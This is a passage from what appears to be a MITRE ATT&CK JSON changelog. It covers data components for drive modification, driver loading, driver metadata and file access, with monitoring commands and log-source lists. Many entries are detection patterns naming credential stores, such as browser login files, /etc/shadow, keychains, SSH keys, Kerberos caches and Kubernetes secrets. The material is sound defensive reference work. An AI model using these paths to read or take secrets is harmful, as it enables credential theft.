mount point, or other attributes of a data storage device, which could involve reassignment, renaming, permissions changes, or other modifications. Examples: \n\n- Drive Letter Reassignment: A USB drive previously assigned `E:\\` is reassigned to `D:\\` on a Windows machine.\n- Mount Point Change: On a Linux system, a mounted storage device at `/mnt/external` is moved to `/mnt/storage`.\n- Drive Permission Changes: A shared drive's permissions are modified to allow write access for unauthorized users or processes.\n- Renaming of a Drive: A network drive labeled \"HR_Share\" is renamed to \"Shared_Resources.\"\n- Modification of Cloud-Integrated Drives: A cloud storage mount such as Google Drive is modified to sync only specific folders.\n\nThis data component can be collected through the following measures:\n\nWindows Event Logs\n\n- Relevant Events:\n - Event ID 98: Indicates changes to a volume (e.g., drive letter reassignment).\n - Event ID 1006: Logs permission modifications or changes to removable storage.\n- Configuration: Enable \"Storage Operational Logs\" in the Event Viewer:\n`Applications and Services Logs > Microsoft > Windows > Storage-Tiering > Operational`\n\nLinux System Logs\n\n- Auditd Configuration: Add audit rules to track changes to mounted drives: `auditctl -w /mnt/ -p w -k drive_modification`\n- Command-Line Monitoring: Use `dmesg` or `journalctl` to observe drive modifications.\n\nmacOS System Logs\n\n- Unified Logs: Collect mount or drive modification events: `log show --info | grep \"Volume modified\"`\n- Command-Line Monitoring: Use `diskutil` to track changes:\n\nEndpoint Detection and Response (EDR) Tools\n\n- Configure policies in EDR solutions to monitor and log changes to drive configurations or attributes.\n\nSIEM Tools\n\n- Aggregate logs from multiple systems into a centralized platform like Splunk to correlate events and alert on suspicious drive modification activities.\n", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Drive", + "channel": "None" + }, + { + "name": "networkdevice:runtime", + "channel": "Firmware image uploaded via TFTP/FTP/SCP" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "Raw disk write access via \\\\.\\PhysicalDrive* or \\\\.\\C:" + }, + { + "name": "macos:unifiedlog", + "channel": "IOKit disk write calls targeting raw devices" + }, + { + "name": "linux:syslog", + "channel": "Block device write errors or unusual bootloader activity" + }, + { + "name": "networkdevice:firmware", + "channel": "Unexpected firmware image upload events via TFTP/FTP/SCP" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "Raw write attempts targeting \\\\.\\PhysicalDrive0 or sector 0 (MBR/partition table)" + }, + { + "name": "macos:unifiedlog", + "channel": "IOKit raw disk write to EFI/boot partition sectors" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "Raw disk writes targeting \\\\.\\PhysicalDrive* or MBR locations" + }, + { + "name": "macos:unifiedlog", + "channel": "IOKit raw disk write activity targeting physical devices" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_data_source_ref": "", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/data-components/DC0046\", \"external_id\": \"DC0046\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Drive\", \"channel\": \"None\"}, {\"name\": \"networkdevice:runtime\", \"channel\": \"Firmware image uploaded via TFTP/FTP/SCP\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"Raw disk write access via \\\\\\\\.\\\\PhysicalDrive* or \\\\\\\\.\\\\C:\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"IOKit disk write calls targeting raw devices\"}, {\"name\": \"linux:syslog\", \"channel\": \"Block device write errors or unusual bootloader activity\"}, {\"name\": \"networkdevice:firmware\", \"channel\": \"Unexpected firmware image upload events via TFTP/FTP/SCP\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"Raw write attempts targeting \\\\\\\\.\\\\PhysicalDrive0 or sector 0 (MBR/partition table)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"IOKit raw disk write to EFI/boot partition sectors\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"Raw disk writes targeting \\\\\\\\.\\\\PhysicalDrive* or MBR locations\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"IOKit raw disk write activity targeting physical devices\"}]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 19:03:17.198000+00:00\", \"old_value\": \"2025-04-18 15:12:35.797000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}, \"root['x_mitre_data_source_ref']\": {\"new_value\": \"\", \"old_value\": \"x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065\"}}, \"iterable_item_added\": {\"root['x_mitre_domains'][1]\": \"ics-attack\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:37.274000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0079", + "external_id": "DC0079" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Driver Load", + "description": "The process of attaching a driver, which is a software component that allows the operating system and applications to interact with hardware devices, to either user-mode or kernel-mode of a system. This can include benign actions (e.g., hardware drivers) or malicious behavior (e.g., rootkits or unsigned drivers). Examples: \n\n- Legitimate Driver Loading: A new graphics driver from a vendor like NVIDIA or AMD is loaded into the system.\n- Unsigned Driver Loading: A driver without a valid digital signature is loaded into the kernel.\n- Rootkit Installation: A malicious rootkit driver is loaded to manipulate kernel-mode processes.\n- Anti-Virus or EDR Driver Loading: An Endpoint Detection and Response (EDR) solution loads its driver to monitor system activities.\n- Driver Misuse: A legitimate driver is loaded and exploited to execute malicious actions, such as using vulnerable drivers for bypassing defenses (e.g., Bring Your Own Vulnerable Driver (BYOVD) attacks).\n\nThis data component can be collected through the following measures:\n\nWindows\n\n- Sysmon Logs: \n - Event ID 6: Captures driver loading activity, including file path, hashes, and signature information.\n - Configuration: Ensure Sysmon is configured with a ruleset that monitors driver loading events\n- Windows Event Logs: Enable \"Audit Kernel Object\" to capture kernel-related driver loading events.\n\nLinux\n\n- Auditd: Configure audit rules to capture driver loading events: `auditctl -w /lib/modules/ -p rwxa -k driver_load`\n- Kernel Logs (dmesg): Use dmesg to monitor driver-related activities: `dmesg | grep \"module\"`\n- Syslog or journald: Review logs for module insertion or removal activities.\n\nmacOS\n\n- Unified Logs: Use the macOS unified logging system to monitor kext (kernel extension) loads:\n`log show --predicate 'eventMessage contains \"kext load\"'`\n- Endpoint Security Framework: Monitor driver loading via third-party security tools that leverage Apple\u2019s Endpoint Security Framework.\n\nSIEM Tools\n\n- Ingest driver load logs from Sysmon, Auditd, or macOS unified logs into a centralized SIEM (e.g., Splunk).\n- Create rules to detect unsigned drivers, rootkit activity, or known vulnerable drivers.\n\nEDR Solutions\n\n- Use EDR tools to detect and alert on anomalous driver loading activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=6" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=6" + }, + { + "name": "linux:syslog", + "channel": "dmesg or syslog for module loads" + }, + { + "name": "linux:syslog", + "channel": "Driver load events or firmware load failures for hardware devices" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0079\", \"external_id\": \"DC0079\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=6\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=6\"}, {\"name\": \"linux:syslog\", \"channel\": \"dmesg or syslog for module loads\"}, {\"name\": \"linux:syslog\", \"channel\": \"Driver load events or firmware load failures for hardware devices\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--9ec8c0d7-6137-456f-b829-c5f8b96ba054\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.274000+00:00\", \"old_value\": \"2025-04-18 15:14:49.173000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--f5a9a1dd-82f9-41a3-85b8-13e5b9cd6c79", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0074", + "external_id": "DC0074" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Driver Metadata", + "description": "to contextual data about a driver, including its attributes, functionality, and activity. This can involve details such as the driver's origin, integrity, cryptographic signature, issues reported during its use, and runtime behavior. Examples include metadata captured during driver integrity checks, hash validation, or error reporting. Examples: \n\n- Driver Signature Validation: A driver is validated to ensure it is signed by a trusted Certificate Authority (CA).\n- Driver Hash Verification: The hash of a driver is compared to a known good hash stored in a database.\n- Driver Compatibility Issues: A driver error is logged due to compatibility issues with a particular version of the operating system.\n- Vulnerable Driver Identification: Metadata indicates the driver version is outdated or contains a known vulnerability.\n- Monitoring Driver Integrity: Drivers are monitored for any unauthorized modifications to their binary or associated files.\n\nThis data component can be collected through the following measures:\n\nWindows\n\n- Windows Event Logs:\n - Event ID 3000-3006: Logs metadata about driver signature validation.\n - Event ID 2000-2011 (Windows Defender Application Control): Tracks driver integrity and policy enforcement.\n- Sysmon Logs: Configure Sysmon to capture driver loading metadata (Event ID 6).\n- Driver Verifier: Use Driver Verifier to collect diagnostic and performance data about drivers, including stability and compatibility metrics.\n- PowerShell: Use commands to retrieve metadata about installed drivers:\n`Get-WindowsDriver -Online | Select-Object Driver, ProviderName, Version`\n\nLinux\n\n- Auditd: Configure audit rules to monitor driver interactions and collect metadata: `auditctl -w /lib/modules/ -p rwxa -k driver_metadata`\n- dmesg: Use `dmesg` to extract kernel logs with driver metadata: `dmesg | grep \"module\"`\n- lsmod and modinfo: Commands to list loaded modules and retrieve metadata about drivers: `lsmod` | `modinfo `\n\nmacOS\n\n- Unified Logs: Collect metadata from system logs about kernel extensions (kexts): `log show --predicate 'eventMessage contains \"kext load\"' --info`\n- kextstat: Command to retrieve information about loaded kernel extensions: `kextstat`\n\nSIEM Tools\n\n- Ingest Driver Metadata: Collect driver metadata logs from Sysmon, Auditd, or macOS logs into SIEMs like Splunk or Elastic.\n\nVulnerability Management Tools\n\n- Use these tools to collect metadata about vulnerable drivers across enterprise systems.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0074\", \"external_id\": \"DC0074\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--9ec8c0d7-6137-456f-b829-c5f8b96ba054\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:14:52.372000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:35.674000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0055", + "external_id": "DC0055" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "File Access", + "description": "To events where a file is opened or accessed, making its contents available to the requester. This includes reading, executing, or interacting with files by authorized or unauthorized entities. Examples include logging file access events (e.g., Windows Event ID 4663), monitoring file reads, and detecting unusual file access patterns. Examples: \n\n- File Read Operations: A user opens a sensitive document (e.g., financial_report.xlsx) on a shared drive.\n- File Execution: A script or executable file is accessed and executed (e.g., malware.exe is run from a temporary directory).\n- Unauthorized File Access: An unauthorized user attempts to access a protected configuration file (e.g., `/etc/passwd` on Linux or `System32` files on Windows).\n- File Access Patterns: Bulk access to multiple files in a short time (e.g., mass access to documents on a file server).\n- File Access via Network: Files on a network share are accessed remotely (e.g., logs of SMB file access).\n\nThis data component can be collected through the following measures:\n\nWindows\n\n- Windows Event Logs: Event ID 4663: Captures file system auditing details, including who accessed the file, access type, and file name.\n- Sysmon:\n - Event ID 11: Logs file creation time changes.\n - Event ID 1 (process creation): Can provide insight into files executed.\n- PowerShell: Commands to monitor file access in real-time: `Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663}`\n\nLinux\n\n- Auditd: Monitor file access events using audit rules: `auditctl -w /path/to/file -p rwxa -k file_access`\n- View logs: `ausearch -k file_access`\n- Inotify: Use inotify to track file access on Linux: `inotifywait -m /path/to/watch -e access`\n\nmacOS\n\n- Unified Logs: Monitor file access using the macOS Unified Logging System.\n- FSEvents: File System Events can track file accesses: `fs_usage | grep open`\n\nNetwork Devices\n\n- SMB/CIFS Logs: Monitor file access over network shares using logs from SMB or CIFS protocol.\n- NAS Logs: Collect logs from network-attached storage systems for file access events.\n\nSIEM Integration\n\n- Collect file access logs from all platforms (Windows, Linux, macOS) and centralize in a SIEM for correlation and analysis.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "File", + "channel": "None" + }, + { + "name": "m365:unified", + "channel": "FileAccessed, MailboxAccessed" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, read, or stat of browser config files" + }, + { + "name": "macos:unifiedlog", + "channel": "Access to ~/Library/*/Safari or Chrome directories by non-browser processes" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "name": "macos:unifiedlog", + "channel": "file events" + }, + { + "name": "gcp:audit", + "channel": "Write operations to storage" + }, + { + "name": "esxi:vmkernel", + "channel": "VMFS access logs" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_OPEN: Open of .dylib/.so in user-writable locations" + }, + { + "name": "auditd:SYSCALL", + "channel": "open: File access attempt on /tmp/krb5cc_* or /tmp/krb5.ccache" + }, + { + "name": "macos:unifiedlog", + "channel": "Kerberos framework calls to API:{uuid} cache outside normal process lineage" + }, + { + "name": "auditd:SYSCALL", + "channel": "openat" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4656, 4663" + }, + { + "name": "auditd:FILE", + "channel": "/home/*/.mozilla/firefox/*/logins.json OR /home/*/.config/google-chrome/*/Login Data" + }, + { + "name": "macos:unifiedlog", + "channel": "~/Library/Application Support/Google/Chrome/*/Login Data OR ~/Library/Application Support/Firefox/*/logins.json" + }, + { + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "name": "auditd:FILE", + "channel": "/proc/*/mem read attempt" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4656,4663" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4670, 4663" + }, + { + "name": "auditd:PATH", + "channel": "Read access to known backup software configuration files (e.g., /etc/rsnapshot.conf, /opt/veeam/config.ini)" + }, + { + "name": "macos:unifiedlog", + "channel": "Read access to Time Machine plist files or CCC configurations in ~/Library/Preferences/" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4656" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, read" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=5145, 4663" + }, + { + "name": "linux:syslog", + "channel": "auth.log or custom tool logs" + }, + { + "name": "fs:fsusage", + "channel": "file" + }, + { + "name": "linux:syslog", + "channel": "/var/log/syslog" + }, + { + "name": "macos:osquery", + "channel": "file_events" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, flock, fcntl, unlink" + }, + { + "name": "fs:fsusage", + "channel": "File Access Monitor" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream - file subsystem" + }, + { + "name": "auditd:SYSCALL", + "channel": "read/open of sensitive files" + }, + { + "name": "macos:unifiedlog", + "channel": "file read of sensitive directories" + }, + { + "name": "esxi:hostd", + "channel": "datastore file access" + }, + { + "name": "auditd:SYSCALL", + "channel": "Unusual processes accessing or modifying cookie databases" + }, + { + "name": "macos:unifiedlog", + "channel": "Abnormal process access to Safari or Chrome cookie storage" + }, + { + "name": "auditd:SYSCALL", + "channel": "PATH records referencing /dev/video*" + }, + { + "name": "macos:endpointsecurity", + "channel": "open: Process opens AppleCamera/IOUSB device nodes or AVFoundation frameworks" + }, + { + "name": "ebpf:syscalls", + "channel": "container_file_activity" + }, + { + "name": "fs:fsusage", + "channel": "Disk Activity Tracing" + }, + { + "name": "macos:keychain", + "channel": "Access to Keychain DB or system.keychain" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, read: /etc/ssl/, /etc/pki/, ~/.pki/nssdb/" + }, + { + "name": "macos:keychain", + "channel": "~/Library/Keychains, /Library/Keychains" + }, + { + "name": "m365:unified", + "channel": "Bulk downloads or API extractions from Microsoft-hosted data repositories (e.g., Dynamics 365)" + }, + { + "name": "auditd:PATH", + "channel": "open: Access to sensitive log files (/var/log/auth.log, /var/log/secure, /var/log/syslog)" + }, + { + "name": "macos:unifiedlog", + "channel": "open: Access to /var/log/system.log or related security event logs" + }, + { + "name": "azure:activity", + "channel": "CollectGuestLogs: Unexpected collection of guest logs by Azure VM Agent outside normal maintenance windows" + }, + { + "name": "esxi:hostd", + "channel": "read: Access to sensitive log files by non-admin users" + }, + { + "name": "auditd:SYSCALL", + "channel": "Processes reading credential or token cache files" + }, + { + "name": "auditd:SYSCALL", + "channel": "read/open of sensitive file directories" + }, + { + "name": "esxi:hostd", + "channel": "datastore/log file access" + }, + { + "name": "fs:fsusage", + "channel": "filesystem activity" + }, + { + "name": "WinEventLog:Microsoft-Windows-Windows Defender/Operational", + "channel": "Suspicious file execution on removable media path" + }, + { + "name": "auditd:PATH", + "channel": "path" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read of sensitive config or secret files" + }, + { + "name": "macos:unifiedlog", + "channel": "open/read of *.plist or .env files" + }, + { + "name": "ebpf:syscalls", + "channel": "open/read on secret mount paths" + }, + { + "name": "CloudTrail:GetObject", + "channel": "sensitive credential files in buckets or local image storage" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read of sensitive directories" + }, + { + "name": "macos:unifiedlog", + "channel": "read of user document directories" + }, + { + "name": "esxi:syslog", + "channel": "guest OS outbound transfer logs" + }, + { + "name": "auditd:PATH", + "channel": "PATH" + }, + { + "name": "fs:fsusage", + "channel": "Filesystem Call Monitoring" + }, + { + "name": "esxi:hostd", + "channel": "vSphere File API Access" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read: Access to /proc/self/status with focus on TracerPID field" + }, + { + "name": "fs:fsusage", + "channel": "read/write" + }, + { + "name": "esxis:vmkernel", + "channel": "Datastore Access" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read access to ~/.bash_history" + }, + { + "name": "macos:endpointsecurity", + "channel": "open or read syscall to ~/.bash_history" + }, + { + "name": "macos:unifiedlog", + "channel": "read access to ~/Library/Keychains/login.keychain-db" + }, + { + "name": "auditd:SYSCALL", + "channel": "open,read" + }, + { + "name": "macos:unifiedlog", + "channel": "filesystem and process events" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read system calls to ~/.bash_history or /etc/shadow" + }, + { + "name": "macos:unifiedlog", + "channel": "read access to ~/Library/Keychains or history files by terminal processes" + }, + { + "name": "auditd:SYSCALL", + "channel": "read of /run/secrets or docker volumes by non-entrypoint process" + }, + { + "name": "macos:unifiedlog", + "channel": "access to /Volumes/SharePoint or network mount" + }, + { + "name": "auditd:SYSCALL", + "channel": "Reads of ~/.bash_history, ~/.mozilla, or access to /dev/input" + }, + { + "name": "macos:unifiedlog", + "channel": "Access to ~/Library/Safari/Bookmarks.plist or recent files" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read" + }, + { + "name": "macos:unifiedlog", + "channel": "access to keychain database" + }, + { + "name": "auditd:PATH", + "channel": "file read" + }, + { + "name": "linux:syslog", + "channel": "kernel messages related to cryptographic operations, module loading, and filesystem access patterns" + }, + { + "name": "fs:fsevents", + "channel": "file system events indicating access to system configuration files and environmental information sources" + }, + { + "name": "macos:endpointsecurity", + "channel": "es_event_open, es_event_exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "open: Access to named pipes or FIFO in /tmp or /dev/shm by unexpected processes" + }, + { + "name": "auditd:SYSCALL", + "channel": "open or read to browser cookie storage" + }, + { + "name": "fs:fsusage", + "channel": "file open for known browser cookie paths" + }, + { + "name": "auditd:SYSCALL", + "channel": "open, read, mount" + }, + { + "name": "fs:fsusage", + "channel": "file reads/writes from /Volumes/" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream - file provider subsystem" + }, + { + "name": "auditd:SYSCALL", + "channel": "file" + }, + { + "name": "kubernetes:audit", + "channel": "GET or LIST requests to /var/run/secrets/kubernetes.io/serviceaccount/ followed by access to the Kubernetes API server" + }, + { + "name": "auditd:SYSCALL", + "channel": "Access to /var/lib/sss/secrets/secrets.ldb or .secrets.mkey" + }, + { + "name": "fs:quarantine", + "channel": "/var/log/quarantine.log" + }, + { + "name": "desktop:file_manager", + "channel": "nautilus, dolphin, or gvfs logs" + }, + { + "name": "linux:osquery", + "channel": "/proc/*/maps access" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read of sensitive directories (/etc, /home/*)" + }, + { + "name": "macos:unifiedlog", + "channel": "read/write of user documents prior to upload" + }, + { + "name": "esxi:hostd", + "channel": "file copy or datastore upload via HTTPS" + }, + { + "name": "macos:unifiedlog", + "channel": "open/read access to private key files (id_rsa, *.pem, *.p12)" + }, + { + "name": "linux:osquery", + "channel": "None" + }, + { + "name": "macos:osquery", + "channel": "None" + }, + { + "name": "fs:fileevents", + "channel": "File system access events with kFSEventStreamEventFlagItemRemoved, kFSEventStreamEventFlagItemRenamed flags for environmental artifact collection (/System/Library, /usr/sbin, plist files)" + }, + { + "name": "auditd:FS", + "channel": "read: File access to /proc/modules or /sys/module/" + }, + { + "name": "macos:unifiedlog", + "channel": "read: File access to /System/Library/Extensions/ or related kernel extension paths" + }, + { + "name": "auditd:SYSCALL", + "channel": "PATH" + }, + { + "name": "auditd:SYSCALL", + "channel": "open/read on ~/.local/share/keepassxc/* OR ~/.password-store/*" + }, + { + "name": "macos:unifiedlog", + "channel": "*.opvault OR *.ldb OR *.kdbx" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0055\", \"external_id\": \"DC0055\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"File\", \"channel\": \"None\"}, {\"name\": \"m365:unified\", \"channel\": \"FileAccessed, MailboxAccessed\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, read, or stat of browser config files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Access to ~/Library/*/Safari or Chrome directories by non-browser processes\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4663\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file events\"}, {\"name\": \"gcp:audit\", \"channel\": \"Write operations to storage\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"VMFS access logs\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_OPEN: Open of .dylib/.so in user-writable locations\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open: File access attempt on /tmp/krb5cc_* or /tmp/krb5.ccache\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Kerberos framework calls to API:{uuid} cache outside normal process lineage\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"openat\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4656, 4663\"}, {\"name\": \"auditd:FILE\", \"channel\": \"/home/*/.mozilla/firefox/*/logins.json OR /home/*/.config/google-chrome/*/Login Data\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"~/Library/Application Support/Google/Chrome/*/Login Data OR ~/Library/Application Support/Firefox/*/logins.json\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open\"}, {\"name\": \"auditd:FILE\", \"channel\": \"/proc/*/mem read attempt\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4656,4663\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4670, 4663\"}, {\"name\": \"auditd:PATH\", \"channel\": \"Read access to known backup software configuration files (e.g., /etc/rsnapshot.conf, /opt/veeam/config.ini)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Read access to Time Machine plist files or CCC configurations in ~/Library/Preferences/\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4656\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, read\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=5145, 4663\"}, {\"name\": \"linux:syslog\", \"channel\": \"auth.log or custom tool logs\"}, {\"name\": \"fs:fsusage\", \"channel\": \"file\"}, {\"name\": \"linux:syslog\", \"channel\": \"/var/log/syslog\"}, {\"name\": \"macos:osquery\", \"channel\": \"file_events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, flock, fcntl, unlink\"}, {\"name\": \"fs:fsusage\", \"channel\": \"File Access Monitor\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream - file subsystem\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"read/open of sensitive files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"file read of sensitive directories\"}, {\"name\": \"esxi:hostd\", \"channel\": \"datastore file access\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Unusual processes accessing or modifying cookie databases\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Abnormal process access to Safari or Chrome cookie storage\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"PATH records referencing /dev/video*\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"open: Process opens AppleCamera/IOUSB device nodes or AVFoundation frameworks\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"container_file_activity\"}, {\"name\": \"fs:fsusage\", \"channel\": \"Disk Activity Tracing\"}, {\"name\": \"macos:keychain\", \"channel\": \"Access to Keychain DB or system.keychain\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open, read: /etc/ssl/, /etc/pki/, ~/.pki/nssdb/\"}, {\"name\": \"macos:keychain\", \"channel\": \"~/Library/Keychains, /Library/Keychains\"}, {\"name\": \"m365:unified\", \"channel\": \"Bulk downloads or API extractions from Microsoft-hosted data repositories (e.g., Dynamics 365)\"}, {\"name\": \"auditd:PATH\", \"channel\": \"open: Access to sensitive log files (/var/log/auth.log, /var/log/secure, /var/log/syslog)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"open: Access to /var/log/system.log or related security event logs\"}, {\"name\": \"azure:activity\", \"channel\": \"CollectGuestLogs: Unexpected collection of guest logs by Azure VM Agent outside normal maintenance windows\"}, {\"name\": \"esxi:hostd\", \"channel\": \"read: Access to sensitive log files by non-admin users\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Processes reading credential or token cache files\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"read/open of sensitive file directories\"}, {\"name\": \"esxi:hostd\", \"channel\": \"datastore/log file access\"}, {\"name\": \"fs:fsusage\", \"channel\": \"filesystem activity\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Windows Defender/Operational\", \"channel\": \"Suspicious file execution on removable media path\"}, {\"name\": \"auditd:PATH\", \"channel\": \"path\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"open/read of sensitive config or secret files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"open/read of *.plist or .env files\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"open/read on secret mount paths\"}, {\"name\": \"CloudTrail:GetObject\", 